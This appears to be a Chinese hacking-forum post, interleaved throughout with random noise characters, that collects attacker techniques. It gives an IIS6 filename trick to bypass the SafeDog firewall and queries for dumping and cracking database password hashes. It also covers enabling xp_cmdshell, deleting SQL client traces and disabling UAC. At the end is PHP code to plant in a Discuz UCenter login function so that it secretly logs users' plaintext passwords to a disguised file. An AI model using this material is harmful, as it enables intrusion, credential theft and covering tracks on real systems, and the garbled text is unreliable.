0 E3 `+ r( ?6 d1 M利用II6文件解析漏洞绕过安全狗代码:" Z. E8 t: x" d: R
;antian365.asp;antian365.jpg
, S$ _$ A2 O0 w( ^ \$ e- K6 y( `: B- i3 f$ z/ A" Y0 t
各种类型数据库抓HASH破解最高权限密码!
2 k( x+ V/ y+ n. }2 `( m. p1.sql server20006 N" _: r+ c6 I6 Q' y: M% _% H3 }
SELECT password from master.dbo.sysxlogins where name='sa'
3 m% T* k6 ]0 Z) Y$ ?- X5 n. _0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
, t" C/ }! o2 x! r7 Z( Q2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
: T7 k$ o3 e/ j) d+ K* T3 E- ~5 u, e o S4 ~) l
0×0100- constant header
+ n$ ~; n# p" J34767D5C- salt
4 ]& f" l0 V6 F, V0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash# B G o m+ ]- z1 r, R( L
2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash s5 r j3 j5 `
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash8 e/ J# k. y% P/ c g3 |: Y
SQL server 2005:-
" b5 H* W0 k9 R( C( W* rSELECT password_hash FROM sys.sql_logins where name='sa'
+ L: J8 a: T, h7 D% G0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
0 `+ [0 m. y, j3 N d8 u# {0×0100- constant header
' Y! P8 i7 ?2 Z& I, k# G993BF231-salt0 Q/ X5 A/ X; [- [1 X5 Y$ K# q' o
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
( O$ C. |1 p* B3 R c. Gcrack case sensitive hash in cain, try brute force and dictionary based attacks. A: s% u2 z) i1 ^' G2 }7 U' h
* f( K2 c+ F3 ?5 f" l1 P1 [update:- following bernardo’s comments:-: |7 B( H2 W; ~5 w3 \
use function fn_varbintohexstr() to cast password in a hex string./ }: d) Y. ^2 z/ i* p
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
* N" L' d' T6 H
* _9 s6 R# [+ kMYSQL:-
* d( I: V8 F& S. f- B2 @) X5 @5 D3 h$ C( X
In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.: i6 `& p+ s, O' O% w
! R; V! h, p A9 t8 F; l. v*mysql < 4.10 k, t6 v, B% v* l$ T$ N- J
( K3 F; I Y5 Z* [' D
mysql> SELECT PASSWORD(‘mypass’);
$ `3 f* T; Y; q, ?, D( }8 m+——————–+
6 ], |# Y+ D1 [; J/ B4 x| PASSWORD(‘mypass’) |
7 R) O" e' Z% A+——————–+
! {7 I; T8 C5 f+ ~; Y| 6f8c114b58f2ce9e |
$ f. o) L! d r+ S! }# p( B+——————–+
, v- R$ A: Q! @+ w2 b- Z* y9 z. t0 o# s0 O, m! N* m
*mysql >=4.1
5 ?5 V" x7 X( b0 C! c; n, u( W! w, q3 L( z; |: h
mysql> SELECT PASSWORD(‘mypass’);: }; j8 \8 A/ a9 v
+——————————————-+
+ e: q( e) v: y0 U! o, b M| PASSWORD(‘mypass’) |
7 J( u" C6 B3 v4 s. G: C1 N+——————————————-+
4 L8 g; ^# d F" P! X) w| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
" }& _$ i* c! A& v4 g+——————————————-+
. q% ]( p. X% D+ T# A) E3 Q) _3 L: }, [' a
Select user, password from mysql.user
5 Y$ P6 x0 Q4 K( {. }: MThe hashes can be cracked in ‘cain and abel’9 I8 ?" i. L* T" Y
. O) G3 o+ T; h* pPostgres:- Y; T+ Y7 j! s8 q3 t$ R: g
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)+ x& m; {6 B, n0 ^6 S
select usename, passwd from pg_shadow;4 [ h0 _5 P) E3 j4 C! @
usename | passwd
! \5 |3 [7 W+ b——————+————————————-* Y: a1 t/ X, h+ j
testuser | md5fabb6d7172aadfda4753bf0507ed4396
$ [ y2 l- B9 }use mdcrack to crack these hashes:-
1 C( h q% L" O; I( e0 {0 i$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
. }' ^ }/ T1 K a" i7 i O, @8 W* R+ y
Oracle:-" z& H5 q8 J: W: o
select name, password, spare4 from sys.user$
9 y) N# E- T3 I; |hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g3 D- l; y, W8 H" ^
More on Oracle later, i am a bit bored….
9 l" C7 ]! c: @2 p
- Y6 B$ v h3 B! @+ s& D1 n
* } V1 \# M5 z1 A1 |在sql server2005/2008中开启xp_cmdshell
; n# B; _$ _# y4 i9 c& h-- To allow advanced options to be changed.1 |3 E) h" U6 j- X, y3 V
EXEC sp_configure 'show advanced options', 16 b$ N) b; b0 b! E7 X' y( L& n
GO
. _7 O% @' d q( k* c6 K-- To update the currently configured value for advanced options.& H$ B( x0 A& j6 T0 I6 D7 h. ]
RECONFIGURE
+ p8 L0 Y$ Y5 ?8 H7 j8 iGO$ ~/ X* P# ]; i7 _/ E8 ]5 p
-- To enable the feature.. w6 e% ]1 m0 d$ Y6 M2 X
EXEC sp_configure 'xp_cmdshell', 1
, w7 v* h) |9 A8 AGO4 i0 N( ] S* b( q
-- To update the currently configured value for this feature.) s2 t' J- N: ] l& p, k
RECONFIGURE; ]# N z9 S/ t4 w
GO
, v$ Y& U/ x, @$ e4 BSQL 2008 server日志清除,在清楚前一定要备份。
! P" d9 W( p6 D1 \2 y6 ?$ F/ b# e如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:" j9 w0 U; R0 L t1 Q" b
X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
& a8 r) F3 d2 R. X1 p7 `' I1 }% n! V) x8 O* o
对于SQL Server 2008以前的版本: O9 X( u9 c* W; s. K4 _$ P
SQL Server 2005:
8 H$ p, I+ z, b1 \删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat
, b/ ~: r) @1 b- K- |SQL Server 2000:, `, u' P) E: i: L; N1 k0 R
清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。
& b f. X' s( [) \
0 p7 ^) Y9 @/ i+ O本帖最后由 simeon 于 2013-1-3 09:51 编辑5 p: s2 U! U- o2 _2 x
* w/ ?+ A3 d) T2 _4 K3 H, W$ g: H; G9 f0 k6 m/ V( o& m' N
windows 2008 文件权限修改
, N9 ^+ c# _1 U# R8 q1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
% g9 y- c4 }- h# M2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98% `+ O3 p( {- f" |6 L5 w8 E
一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
( I7 f0 s0 m: Q4 I$ a
/ P4 _+ ?* A5 }: j8 ]) c; k" x( RWindows Registry Editor Version 5.00
0 ^. B& o" a2 l+ C3 |# ~% i[HKEY_CLASSES_ROOT\*\shell\runas]
0 l5 {/ W! \4 `% e6 J@="管理员取得所有权"
4 S/ S2 [% \2 S/ @"NoWorkingDirectory"=""
9 i# L* N( a$ h3 f[HKEY_CLASSES_ROOT\*\shell\runas\command]
# {& e- W6 _, K@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
. Q$ Q# K& C# r1 v; h"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"; k* i+ p+ a; U+ c/ D
[HKEY_CLASSES_ROOT\exefile\shell\runas2]
9 h/ i; v" F3 Y* V" @/ W@="管理员取得所有权"
9 y4 X& b( i4 r" p, N"NoWorkingDirectory"=""
) g0 l( E+ B) M8 y( O4 v( R: E9 T[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
, B* p7 x4 N2 t& N/ Z1 R6 a@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
6 t5 f+ n9 [, f& V0 n: k- |* c* H"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
- ^ i | P( \" N
2 w+ O. ~$ M) t6 \3 |! V4 F3 w[HKEY_CLASSES_ROOT\Directory\shell\runas]' w6 X6 p$ t( s! Z ~$ K
@="管理员取得所有权"9 X+ i3 ^5 w Y; ]
"NoWorkingDirectory"="": C0 ^: q& {/ o% t
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]7 D4 \& y6 W r
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"3 L; f0 {- n. ~) q+ J
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"' {0 x; E9 I; v: [" L$ H: A9 i# d
R7 O- y3 j" d; o0 P
& m# R" `; z0 b' B6 M/ n9 U( q4 h {, bwin7右键“管理员取得所有权”.reg导入
" l+ C! |0 U$ l5 }/ `二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,
% t4 G! v% U% C2 l1、C:\Windows这个路径的“notepad.exe”不需要替换
. x' ?% J) p! P6 O" ]! j4 D2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
( f1 J- {% j, w3、四个“notepad.exe.mui”不要管
" j, F8 s! l- Q( D# n4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和3 J4 ~# M' G- d5 Q1 O
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”1 q% @2 t% R( W/ r4 \
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,; v% @8 f& n* I, K9 g, m$ [
替换完之后回到桌面,新建一个txt文档打开看看是不是变了。
$ A+ S7 g+ ]% W% m7 y2 I* Awindows 2008中关闭安全策略:
8 y; ?% F3 {2 M' {6 G; |! h Q4 Wreg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
. @6 r# Q& q/ d4 K1 h( p/ T K, o3 [修改uc_client目录下的client.php 在" w5 R$ A% ?5 I
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
9 C) `: M* @0 k- i, k; g下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
" p3 }' s2 Y' @" Y% C你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
6 R* Y( X n# [+ p+ F* Aif(getenv('HTTP_CLIENT_IP')) {
# a" ]& s4 X* q% L$onlineip = getenv('HTTP_CLIENT_IP');% b# w4 k7 o4 e8 K- P* v' P+ {5 b" n3 m: V
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
* ?! c# o J/ {3 X* {$onlineip = getenv('HTTP_X_FORWARDED_FOR');0 s# D: V6 m; ]+ X
} elseif(getenv('REMOTE_ADDR')) {
4 _0 h: v/ ]; l: ?$ U6 l& t$onlineip = getenv('REMOTE_ADDR');& q2 _1 V, j5 [( C, \
} else {
! \) @, t! O3 n8 e4 P, \7 g7 S$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
. m% j$ _$ Z3 x' p$ g4 e}
7 G6 ~" J! @' l9 f# m $showtime=date("Y-m-d H:i:s");, y5 b" j6 i* Q# D
$record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";: A Y& [% V/ A9 O
$handle=fopen('./data/cache/csslog.php','a+');' A% L$ U& U1 g I8 G8 Y
$write=fwrite($handle,$record); |